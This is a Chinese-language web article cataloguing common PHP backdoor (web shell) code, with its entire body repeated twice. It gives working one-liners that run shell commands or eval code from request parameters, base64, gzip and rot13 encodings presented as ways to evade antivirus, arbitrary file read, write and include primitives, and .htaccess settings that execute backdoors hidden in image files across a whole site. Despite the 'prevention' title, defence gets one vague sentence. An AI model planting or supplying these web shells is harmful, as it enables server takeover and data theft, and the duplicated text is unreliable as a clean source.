php后門木馬常用命令分析與防范
發(fā)布日期:2022-01-29 13:52 | 文章來源:源碼之家
php后門木馬常用的函數(shù)大致上可分為四種類型:
1. 執(zhí)行系統(tǒng)命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代碼執(zhí)行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 執(zhí)行系統(tǒng)命令:
system 函數(shù)
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函數(shù)
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函數(shù)
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函數(shù)
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函數(shù)
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函數(shù)
//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代碼執(zhí)行與加密:
eval 函數(shù)
//最常見的一句話木馬
eval($_POST[cmd]);
base64_decode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函數(shù)
//類似eval函數(shù)
assert($_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用assert
call_user_func('assert',$_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);
組合代碼
//組合方式調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);
3. 文件包含與生成:
require 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函數(shù)
//包含任意文件 www.chnhack.com
//test.php?file=123.jpg
include($_GET[file]);
include_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函數(shù)
//讀取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可將php代碼存于非php后綴文件,例: x.jpg
//將以下代碼寫入.htaccess中
//連接x.jpg即可啟動后門木馬出處www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
//可在不更改站點源代碼的情況下記錄所有$_REQUEST的值,也可批量掛馬
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//類似auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
php_value auto_append_file c:/apache2/htdocs/123.gif
本文由A8站長網(wǎng)首發(fā)
防范:這里就簡單的介紹下防范,通過php.ini屏蔽一些命令,服務(wù)器做好安全配置,定期查找網(wǎng)站后門。 具體的軟件可以到s.jb51.net下載使用
1. 執(zhí)行系統(tǒng)命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代碼執(zhí)行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 執(zhí)行系統(tǒng)命令:
system 函數(shù)
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函數(shù)
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函數(shù)
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函數(shù)
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函數(shù)
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函數(shù)
//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代碼執(zhí)行與加密:
eval 函數(shù)
//最常見的一句話木馬
eval($_POST[cmd]);
base64_decode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函數(shù)
//為了免殺及隱藏而加密代碼
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函數(shù)
//類似eval函數(shù)
assert($_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用assert
call_user_func('assert',$_POST[cmd]);
call_user_func 函數(shù)
//使用call_user_func調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);
組合代碼
//組合方式調(diào)用任意函數(shù)
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);
3. 文件包含與生成:
require 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函數(shù)
//包含任意文件 www.chnhack.com
//test.php?file=123.jpg
include($_GET[file]);
include_once 函數(shù)
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函數(shù)
//讀取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函數(shù)
//生成任意內(nèi)容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可將php代碼存于非php后綴文件,例: x.jpg
//將以下代碼寫入.htaccess中
//連接x.jpg即可啟動后門木馬出處www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
//可在不更改站點源代碼的情況下記錄所有$_REQUEST的值,也可批量掛馬
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//類似auto_prepend_file
//可將php代碼存于非php后綴文件,例: 123.gif
//將以下代碼寫入.htaccess中, 文件路徑必須是絕對路徑
//訪問網(wǎng)站上任何php文件都會啟動該php后門木馬
php_value auto_append_file c:/apache2/htdocs/123.gif
本文由A8站長網(wǎng)首發(fā)
防范:這里就簡單的介紹下防范,通過php.ini屏蔽一些命令,服務(wù)器做好安全配置,定期查找網(wǎng)站后門。 具體的軟件可以到s.jb51.net下載使用
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章